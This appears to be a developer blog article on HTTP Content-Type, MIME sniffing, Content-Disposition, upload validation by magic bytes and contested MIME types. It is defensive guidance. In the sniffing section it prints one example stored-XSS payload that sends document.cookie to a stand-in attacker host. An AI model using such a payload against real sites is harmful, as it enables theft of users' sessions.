🍱 Lunchbox Hands

mime

Content-Type: Why Your File Downloads Instead of Opening

The browser does not care about your file extension. What Content-Type actually controls, how MIME sniffing turns a wrong header into an XSS bug, and the extensions where the canonical type is genuinely contested.

You upload a PDF, click the link, and the browser downloads it instead of displaying it. Or your JavaScript file 404s in the console with a MIME type error. Or your fonts silently don’t load. All three are the same bug: the browser decides what a file is from the Content-Type response header, and it does not look at the extension in the URL at all.

The .pdf on the end of your link is a convention for humans. The header is what the browser acts on.

The header is the contract

When a server responds, it declares the type:

HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Length: 84213

That string determines everything downstream: whether the browser renders it inline or hands it to the download manager, which parser it feeds it to, whether a <script> tag will execute it, whether a <link rel=stylesheet> will apply it.

Get it wrong and you get behavior that looks unrelated to the cause:

SymptomUsual cause
PDF downloads instead of displayingapplication/octet-stream instead of application/pdf
JS blocked, “not a valid MIME type” in consoleServer sending text/plain or text/html for .js
Stylesheet ignored, no errortext/plain instead of text/css
Font doesn’t load, silentWrong or missing type for .woff2
WebAssembly falls back to slow pathNot exactly application/wasm
Page shows as source codetext/plain instead of text/html
Mojibake, é where é should becharset missing or wrong

Two of those deserve a note. WebAssembly streaming compilation (WebAssembly.instantiateStreaming) requires the response to be exactly application/wasm — get it wrong and it rejects outright rather than degrading. And charset is part of the header, not a separate thing: text/html; charset=utf-8. Omit it and the browser guesses, which is where mojibake comes from.

The canonical types for the formats you’ll actually hit are worth having somewhere lookupable — our MIME type reference has 280+ extensions with the exact string to copy.

MIME sniffing: when the browser overrules you

Browsers don’t trust the header unconditionally. When it’s missing, or generic (application/octet-stream, text/plain), they sniff — inspect the first bytes of the response and guess the real type. This behavior is standardized (the WHATWG MIME Sniffing spec) precisely because it was already universal and needed pinning down.

Sniffing exists for a good reason: an enormous amount of the web is served by misconfigured servers, and a browser that refused to render anything with a wrong header would be a browser nobody used.

It is also a security hole.

Consider a site that lets users upload files and serves them back as text/plain — reasonable-looking defensive choice. A user uploads a file whose contents are:

<script>fetch('https://evil.example/?c='+document.cookie)</script>

The server sends Content-Type: text/plain. The browser sniffs, sees markup, decides “this is really HTML,” and executes the script in your origin. That’s stored XSS delivered through a header you thought was safe.

The fix is one header:

X-Content-Type-Options: nosniff

nosniff tells the browser: never override the declared type. For script and style in particular, it also enforces that the declared type is appropriate — a script served as text/plain is blocked rather than executed.

It should be on every response, and it’s cheap enough that there’s no reason not to. (It’s one of the headers we set site-wide here; you can check any site’s with our HTTP header analyzer.) The tradeoff is real but small: with nosniff on, a genuinely wrong Content-Type now breaks the resource instead of silently working. That’s the correct failure direction — a broken stylesheet is a bug you fix, an executed upload is an incident.

Download vs. display is a different header

Content-Type influences whether something renders inline, but the header that actually controls it is Content-Disposition:

Content-Disposition: inline
Content-Disposition: attachment; filename="report-2026.pdf"

attachment forces the download dialog regardless of type. inline requests rendering if the browser can. If you want a PDF to always download, don’t lie about its type — say application/pdf and add Content-Disposition: attachment. Setting application/octet-stream to force a download works, but it discards type information every downstream consumer might have wanted.

One security note: filename is attacker-controllable if it comes from user input, and has a history of header-injection and path-traversal issues. Sanitize it, and prefer the filename* (RFC 5987) form for non-ASCII names.

Never trust the client’s Content-Type

This is the most consequential rule and the most commonly broken one.

In a multipart file upload, each part carries its own Content-Type — and that value is supplied by the client. It’s a claim, not a fact. Anyone can upload a PHP web shell with Content-Type: image/png attached, and any validation that checks that header has validated nothing.

The same applies to file extensions in the uploaded filename, and for the same reason.

Real validation reads the file’s own bytes. Most formats begin with a magic number — a fixed signature at a known offset:

%PDF-          PDF
\x89PNG\r\n    PNG
GIF89a         GIF
\xFF\xD8\xFF   JPEG
PK\x03\x04     ZIP (and everything ZIP-based: .docx, .xlsx, .jar, .apk)
RIFF....WEBP   WebP

Check those, and derive the type you serve from what you found — never from what the client claimed. We went into this in more depth in magic bytes and file signatures, including the polyglot files that satisfy two signatures at once.

Three additional rules for user uploads, all learned the hard way by the industry:

  1. Serve them from a separate origin. Then even a successful content-type attack lands in a domain with no cookies and no privileged same-origin access.
  2. Never serve user-uploaded SVG inline. SVG is XML that can contain <script>, and its correct type is image/svg+xml — an image type that executes. Serve it as an attachment, or sanitize it, or convert it to a raster format.
  3. Re-encode images rather than passing them through. A re-encode strips both embedded payloads and the EXIF metadata your users didn’t mean to publish.

The extensions where the “correct” type is genuinely contested

Most extensions have one obvious answer. A handful don’t, and they cause real arguments — usually because two RFCs disagree, or because an older type was replaced but never disappeared from the wild.

ExtensionUse thisAlso seenNotes
.jstext/javascriptapplication/javascriptRFC 9239 (2022) made text/javascript the canonical form and marked the others obsolete — a reversal of the previous advice
.mp4video/mp4application/mp4Both are registered; application/mp4 is for non-AV MP4 containers, which is almost never what you have
.mp3audio/mpegaudio/mp3audio/mpeg is the registered type; audio/mp3 is common and non-standard
.sqlapplication/sqltext/plain, text/x-sqlRFC 6922 registered application/sql; tooling is inconsistent
.csvtext/csvapplication/vnd.ms-excelThe Excel type is a Windows registry artifact, not a standard
.woff2font/woff2application/font-woff2RFC 8081 created the font/ tree; application/font-* is obsolete
.mdtext/markdowntext/plainRFC 7763; some servers still send text/plain
.wasmapplication/wasmMust be exact for streaming compilation
.jsonapplication/jsontext/jsontext/json was never registered

The .js one catches people out most, because the advice genuinely flipped. If you learned “use application/javascript,” that’s now the obsolete form.

There’s a practical wrinkle here for anyone building tooling: mime-db, the database most Node ecosystem tools use, resolves an extension by taking the first match in its ordering — which is alphabetical by type. For .mp4, application/mp4 sorts before video/mp4 and wins, which is wrong for essentially every real file. Building our MIME reference required explicit canonical overrides for exactly these cases (.mp4, .mp3, .js, .mpg4, .sql) rather than trusting the database’s default resolution. If you’re generating types programmatically, check what your library returns for those.

Where the type comes from on your server

If a type is wrong, it’s coming from one of these:

  • Apache/etc/mime.types plus AddType directives in config or .htaccess.
  • nginx/etc/nginx/mime.types, included from http {}, with default_type as the fallback (often application/octet-stream).
  • Node/Expressexpress.static uses mime-types, which uses mime-db. See the caveat above.
  • S3 / object storage — the type is stored as object metadata at upload time. Uploading without setting it gives you binary/octet-stream forever, and fixing it means re-uploading or copying the object onto itself with new metadata. This is the single most common “why does my PDF download” cause in cloud-hosted sites.
  • CDNs — usually pass through the origin’s type, but check for overrides, especially on compression and image-optimization features.

Diagnose it in one command:

curl -sI https://example.com/file.pdf | grep -i content-type

If that returns application/octet-stream, you’ve found it. Our HTTP header analyzer does the same thing in a browser, and also flags whether nosniff is present.

Tools

  • MIME Type Reference — searchable lookup for 280+ extensions, filterable by kind, with the exact string to copy.
  • HTTP Header Analyzer — see the real Content-Type, Content-Disposition, and X-Content-Type-Options on any URL.
  • Sample File Generator — real files of every common type, for testing that your upload validation and served types actually behave.
  • HTTP Status Checker — for when the problem turns out not to be the type at all.